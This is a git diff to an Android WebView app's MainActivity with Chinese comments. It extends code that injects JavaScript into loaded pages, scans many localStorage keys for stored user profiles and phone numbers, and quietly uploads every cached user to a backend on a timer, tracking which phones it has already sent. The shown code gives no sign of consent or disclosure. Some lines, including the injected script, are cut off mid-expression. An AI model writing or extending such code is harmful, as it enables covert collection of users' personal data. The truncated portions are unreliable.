diff --git a/base/src/main/java/com/webclip/base/MainActivity.java b/base/src/main/java/com/webclip/base/MainActivity.java index 4eef748..99babde 100644 --- a/base/src/main/java/com/webclip/base/MainActivity.java +++ b/base/src/main/java/com/webclip/base/MainActivity.java @@ -62,7 +62,9 @@ import java.io.InputStreamReader; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.HashMap; +import java.util.HashSet; import java.util.List; +import java.util.Set; import io.reactivex.android.schedulers.AndroidSchedulers; import io.reactivex.schedulers.Schedulers; @@ -985,7 +987,7 @@ public class MainActivity extends AppCompatActivity { boolean hasSignIn = false; /** - * 需要在网页 localStorage 中探测的用户信息字段(按优先级从前往后取第一个命中的) + * 需要在网页 localStorage 中探测的用户信息字段(按优先级遍历全部候选 key) */ private static final String[] SITE_USER_STORAGE_KEYS = { "USER", "user", "userInfo", "user_info", "userinfo", "userData", "user_data", @@ -1013,7 +1015,7 @@ public class MainActivity extends AppCompatActivity { "tel", "telephone", "cellphone", "cell", "contact", "contactNo", "contactNumber", "msisdn" }; - // 本地保存的去重标识(优先手机号,取不到则用整份用户信息),用于判断是否已上报过 + // 本地保存的已上报手机号集合,用于判断多个缓存用户是否已经上报过 private static final String SP_KEY_SITE_USER_DEDUP = "site_user_dedup"; // 上报设备类型(后端接口要求 IOS 或 ANDROID) private static final String SITE_USER_DEVICE_TYPE = "ANDROID"; @@ -1053,15 +1055,50 @@ public class MainActivity extends AppCompatActivity { return; } siteUserPollingStarted = true; - String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, ""); - siteUserPollInterval = TextUtils.isEmpty(stored) + siteUserPollInterval = getReportedSiteUserKeys().isEmpty() ? SITE_USER_POLL_INTERVAL_SHORT : SITE_USER_POLL_INTERVAL_LONG; handler.postDelayed(siteUserPollRunnable, siteUserPollInterval); } /** - * 执行一次 localStorage 探测:注入 JS 按优先级读取命中的用户信息并做净化, - * 返回净化后的 JSON 字符串(非登录/无有效用户时返回 null)。 + * 读取本地已上报手机号集合。 + * 兼容旧版本保存的单个字符串格式,升级后会逐步转换为 JSON 数组格式。 + */ + private HashSet getReportedSiteUserKeys() { + HashSet keys = new HashSet<>(); + String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, ""); + if (TextUtils.isEmpty(stored)) { + return keys; + } + try { + List storedKeys = new Gson().fromJson(stored, + new com.google.gson.reflect.TypeToken>() { + }.getType()); + if (storedKeys != null) { + keys.addAll(storedKeys); + } + } catch (Exception e) { + // 兼容旧版本保存的手机号或整份用户 JSON + } + if (keys.isEmpty() && !stored.trim().startsWith("[")) { + keys.add(stored); + } + return keys; + } + + private void saveReportedSiteUserKeys(Set keys) { + saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, new Gson().toJson(keys)); + } + + private void removeReportedSiteUserKey(String key) { + HashSet keys = getReportedSiteUserKeys(); + if (keys.remove(key)) { + saveReportedSiteUserKeys(keys); + } + } + + /** + * 执行一次 localStorage 探测:遍历所有候选 key,读取并净化全部有效用户对象。 */ private void pollSiteUserOnce() { if (activityMain2Binding == null || activityMain2Binding.webview == null) { @@ -1070,14 +1107,16 @@ public class MainActivity extends AppCompatActivity { String keysJson = new Gson().toJson(SITE_USER_STORAGE_KEYS); String js = "(function(){try{" + "var KS=" + keysJson + ";" - + "function readRaw(){for(var i=0;i> userInfos; + try { + userInfos = new Gson().fromJson(usersJson, + new com.google.gson.reflect.TypeToken>>() { + }.getType()); + } catch (Exception e) { return; } - saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, dedupKey); - reportSiteUser(userInfo); + if (userInfos == null || userInfos.isEmpty()) { + return; + } + + HashSet reportedKeys = getReportedSiteUserKeys(); + boolean hasUserWithPhone = false; + for (HashMap userInfoMap : userInfos) { + if (userInfoMap == null || userInfoMap.isEmpty()) { + continue; + } + String userInfo = new Gson().toJson(userInfoMap); + String phone = extractPhone(userInfo); + if (TextUtils.isEmpty(phone)) { + continue; + } + hasUserWithPhone = true; + if (reportedKeys.contains(phone)) { + continue; + } + // 先加入集合,避免多个候选 key 或下一轮轮询重复发起请求。 + reportedKeys.add(phone); + reportSiteUser(userInfo, phone); + } + + if (hasUserWithPhone) { + siteUserPollInterval = SITE_USER_POLL_INTERVAL_LONG; + saveReportedSiteUserKeys(reportedKeys); + } } /** @@ -1168,7 +1229,7 @@ public class MainActivity extends AppCompatActivity { * 按后端接口文档:data 必须是 JSON 对象,data.mobile 为全局唯一键; * 原始数据没有 mobile 字段时,用电话候选字段的值补进 data.mobile。 */ - private void reportSiteUser(String userInfo) { + private void reportSiteUser(String userInfo, final String dedupKey) { HashMap data; try { data = new Gson().fromJson(userInfo, @@ -1212,13 +1273,13 @@ public class MainActivity extends AppCompatActivity { @Override public void onError(int code, String msg) { - // 上报失败清掉去重记录,下次轮询可重试 - saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, ""); + // 仅清掉当前用户的去重记录,下次轮询可重试其他已成功用户 + removeReportedSiteUserKey(dedupKey); } @Override public void onError2(Result o) { - saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, ""); + removeReportedSiteUserKey(dedupKey); } }); }